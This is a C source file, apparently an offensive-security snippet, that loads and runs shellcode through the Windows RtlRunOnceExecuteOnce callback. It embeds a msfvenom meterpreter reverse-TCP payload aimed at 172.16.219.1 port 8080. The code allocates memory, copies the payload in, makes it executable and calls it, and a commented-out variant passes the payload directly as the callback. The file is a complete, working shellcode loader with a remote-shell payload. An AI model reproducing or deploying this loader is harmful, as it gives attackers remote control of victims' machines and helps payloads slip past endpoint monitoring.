Shellcode execution via RtlRunOnceExecuteOnce NtAPI

RtlRunOnceExecuteOnceShellcodeExec.c

#include <windows.h>
#include <stdio.h>

extern WORD WINAPI RtlRunOnceExecuteOnce(RTL_RUN_ONCE *once, PRTL_RUN_ONCE_INIT_FN func, void *param, void **context);
typedef ULONG (WINAPI* RTL_RUN_ONCE_INIT_FN)(_Inout_ PRTL_RUN_ONCE RunOnce, _Inout_opt_ PVOID Parameter, _Inout_opt_ PVOID *Context);

// msfvenom LPORT=8080 LHOST=172.16.219.1 -p windows/x64/meterpreter/reverse_tcp -f c
unsigned char shellcode_bin[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41"
"\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x8b\x48\x18\x49\x01"
"\xd0\x50\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x1f\x90\xac\x10\xdb\x01\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";

ULONG myFunc(_Inout_ PRTL_RUN_ONCE RunOnce, _Inout_opt_ PVOID Parameter, _Inout_opt_ PVOID *Context) {
    printf("Parameter: %s\n", Parameter);

    DWORD flOldProtect = 0;
    LPVOID addressPointer = VirtualAlloc(NULL, sizeof(shellcode_bin), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    memcpy(addressPointer, shellcode_bin, sizeof(shellcode_bin));
    VirtualProtect(addressPointer, sizeof(shellcode_bin), PAGE_EXECUTE_READ, &flOldProtect);
    ((void(*)())addressPointer)();
    return 0;
}

int main() {
    RTL_RUN_ONCE rtlRunOnce = { 0 };
    char *param = "Hello World";

    // you can run a function with a parameter and a context
    RtlRunOnceExecuteOnce(&rtlRunOnce, (RTL_RUN_ONCE_INIT_FN) myFunc, param, NULL);

    // or the shellcode directly
    // DWORD flOldProtect = 0;
    // LPVOID addressPointer = VirtualAlloc(NULL, sizeof(shellcode_bin), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    // memcpy(addressPointer, shellcode_bin, sizeof(shellcode_bin));
    // VirtualProtect(addressPointer, sizeof(shellcode_bin), PAGE_EXECUTE_READ, &flOldProtect);
    // RtlRunOnceExecuteOnce(&rtlRunOnce, (RTL_RUN_ONCE_INIT_FN) addressPointer, NULL, NULL);

    getchar();
}